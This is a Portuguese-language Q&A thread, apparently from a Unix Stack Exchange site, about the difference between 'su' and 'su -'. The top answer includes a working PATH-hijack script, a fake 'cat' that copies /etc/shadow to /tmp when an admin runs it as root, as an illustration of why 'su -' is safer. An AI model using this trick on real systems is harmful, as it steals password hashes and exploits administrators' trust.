Por que usamos su - e não apenas su?

160

Eu não entendo por que su - é preferível a su para fazer login como root.

    
por Dharmit 07.02.2011 / 11:42

4 respostas

216

su - chama um shell de login depois de alternar o usuário. Um shell de login redefine a maioria das variáveis de ambiente, fornecendo uma base limpa.

su apenas troca o usuário, fornecendo um shell normal com um ambiente quase igual ao do usuário antigo.

Imagine, você é um desenvolvedor de software com acesso de usuário normal a uma máquina e seu administrador ignorante simplesmente não lhe dará acesso root. Vamos (espero) enganá-lo.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Agora, você pergunta ao seu administrador por que você não pode cat do arquivo fictício em sua pasta pessoal, simplesmente não funciona!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Se o seu administrador não for tão esperto ou um pouco preguiçoso, ele poderá ir até sua mesa e experimentar seus poderes de superusuário:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Uau! Obrigado, super admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Ele, ele.

Você talvez tenha notado que a variável $PATH corrompida não foi redefinida. Isso não teria acontecido se o administrador chamasse su - .

    
por 07.02.2011 / 13:01
32

su - conecta você completamente como root, enquanto su faz com que você esteja fingindo ser root.

O exemplo mais óbvio disso é que ~ é o diretório pessoal do root se você usa su - , mas seu próprio diretório pessoal, se você usar su .

Dependendo do seu sistema, isso também pode significar diferenças no arquivo prompt, PATH ou histórico.

Então, se você faz parte de uma equipe que administra um sistema, e seu colega lhe dá um comando para executar, você sabe que funcionará da mesma forma se você estiver usando su - , mas se ambos estiverem usando su , pode haver diferenças devido a você ter diferentes configurações de shell.

Por outro lado, se você deseja executar um comando como root, mas usando sua própria configuração, então su é melhor para você.

Também não se esqueça de sudo , que possui uma opção -s para iniciar um shell executando como root. Claro, isso também tem regras diferentes, e elas mudam dependendo de qual distribuição você está usando.

    
por 07.02.2011 / 12:18
1

Eu uso su - quando estou em um diretório como um usuário comum, mas quero mudar para o root e permanecer no mesmo diretório após o switch. Quando você usa su - ele muda o usuário para root e também o leva para / root, que é o diretório home raiz.

    
por 08.06.2018 / 01:04
-1

A principal diferença é:

su - username configura o ambiente do shell como se fosse um login limpo como o usuário especificado, acesse e use variáveis de ambiente de usuários especificados,

su username apenas inicia um shell com as configurações atuais do ambiente para o usuário especificado.

Se o nome de usuário não for especificado com su e su - , a conta root será implícita como padrão.

    
por 10.06.2018 / 08:27